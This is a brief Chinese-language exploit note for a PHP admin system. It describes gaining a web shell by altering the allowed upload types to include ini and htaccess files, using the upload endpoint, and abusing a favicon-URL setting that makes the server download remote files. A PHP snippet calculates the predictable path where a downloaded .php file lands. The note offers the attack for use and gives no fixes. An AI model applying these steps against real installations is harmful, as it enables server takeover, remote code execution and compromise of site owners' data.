文件上传+目录穿越Getshell
功能点:
系统管理->系统参数配置->本地服务器存储
修改其可允许的文件类型,php不允许,可添加ini
、htaccess
,通过文件包含或者图片马的方式Getshell。
上传接口:/admin/api.upload/file
# 任意文件上传
系统参数配置中的浏览器小图标填写指定URL可远程下载文件至服务器:
文件路径可以计算:
<?php
function name(string $url, string $ext = '', string $pre = '', string $fun = 'md5'): string {
[$hah, $ext] = [$fun($url), trim($ext ?: pathinfo($url, 4), '.\/')];
$attr = [trim($pre, '.\\/'), substr($hah, 0, 2), substr($hah, 2, 30)];
return trim(join('/', $attr), '/') . '.' . strtolower($ext ?: 'tmp');
}
// 远程URL
$url = "https://www.baidu.com/123.php";
echo '/upload/'.name($url,'','down/');